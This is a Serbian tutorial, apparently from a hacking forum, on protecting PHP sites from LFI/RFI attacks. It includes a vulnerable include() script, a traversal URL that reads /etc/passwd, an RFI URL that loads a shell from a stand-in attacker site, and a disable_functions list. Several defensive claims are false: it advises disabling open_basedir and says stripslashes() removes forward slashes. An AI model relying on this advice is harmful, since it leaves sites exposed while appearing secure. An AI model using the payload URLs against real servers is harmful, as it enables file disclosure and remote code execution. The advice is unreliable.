Zaštita od LFI / RFI napada

Zastita od LFI/RFI napada

Tutorial by GiGZ @ ljuska.org

irc.rizon.net #ljuska

Sadrzaj:
————————
[0] Intro
[1] Ranjiva skripta
[2] Primeri napada
[3] Sprecavanje napada [php.ini]
[4] Sprecavanje napada [stripslashes]
[5] Outro
————————

[0] Intro
Oi folks, u ovom tutorijalu cu vam pokazati kako se zastiti od RFI/LFI napada :>
Pre sve nesto o ovim metodama:
[LFI – Local File Inclusion]
– LFI je mogucnost da pretrazujete preko servera putem direktorijuma. Jedna od najcescih upotreba LFI je otkrivanje /etc/passwd fajla. Ovaj fajl sadrzi korisnicke informacije na Linux sistemu.
[RFI – Remote File Inclusion]
– Nema puno toga da se filozofira, samo ime kaze, znaci napadac sa drugog servera moze da pokrece skripte na zrtvinom serveru.

 

[1] Ranjiva skripta

– Ovako izgleda ranjiva skripta:

<?php
$stranica = $_GET[‘stranica’];
include($stranica);
?>


[2] Primeri napada
>> 2.a [LFI]
Primer LFI napada:

https://sajt.com/index.php?stranica=../../../../../../../../../../etc/passwd

Ovaj primer vam pokazuje (unix) server koji prikazuje /etc/passwd fajl u kome se nalaze korisnicka imena na serveru.

>> 2.b [RFI]
Primer RFI napada:

https://sajt.com/index.php?stranica=https://napadacevsajt.com/shell.txt?

Ovaj primer napada je veliki problem po zrtvu, sto znaci, ili ce biti podignut shell, ili ce u gorem slucaju server biti root’d (ako je rootable).

 

[3] Sprecavanje napada [php.ini]
– Ima mnogo nacina kako spreciti lfi/rfi napade.
Najbolji nacin je da iskljucite sledecu direktivu u php.ini fajlu:

Open_Basedir

Sada kada ste to uradili, bilo bi pozeljno da imate ove funkcije disabled:

disable_functions = system, system_exec, shell, shell_exec, exec, passthru, escapeshellarg, escapeshellcmd, proc_close, proc_open, ini_alter, dl, popen, parse_ini_file, show_source

U slucaju da nemate pristup php.ini fajlu, preskocite ovaj korak :)

 

[4] Sprecavanje napada [stripslashes]

– I ako je prvi nacin mnogo sigurniji, problem se moze resiti sa nekoliko linija koda :>

<?php
$stranica = $_GET[‘stranica’];
$stranica = stripslashes($stranica);
switch($stranica){case „pocetna“:
include(„pocetna.html“);
break;case „kontakt“:
include(„kontakt.html“);
break;default: echo „faktard“;
break;}
?>

Necu objasnjavati sta koja linija radi, vec cu izdvojiti sledecu (kljucnu):

$stranica = stripslashes($stranica);

Ova linija uklanja kose crte.

/

i

\

Sto bi znacilo da primer lfi napada koji smo gore naveli bi izgledao ovako:

http:sajt.comindex.php?stranica=………………..etcpasswd

Tako da smo onemogucili napad :>

 

[5] Outro

– I to bi bilo to, nadam se da sam nekom pomogao.
Pozdrav: D4T4X(my bitch),crax0,markorlo,v0da,skillfaker,TraXdata,dn5 i sva bagra sa irc-a i foruma ;>
~GiGZ

 

 

 

                  

Ostavite odgovor

Vaša adresa e-pošte neće biti objavljena. Neophodna polja su označena *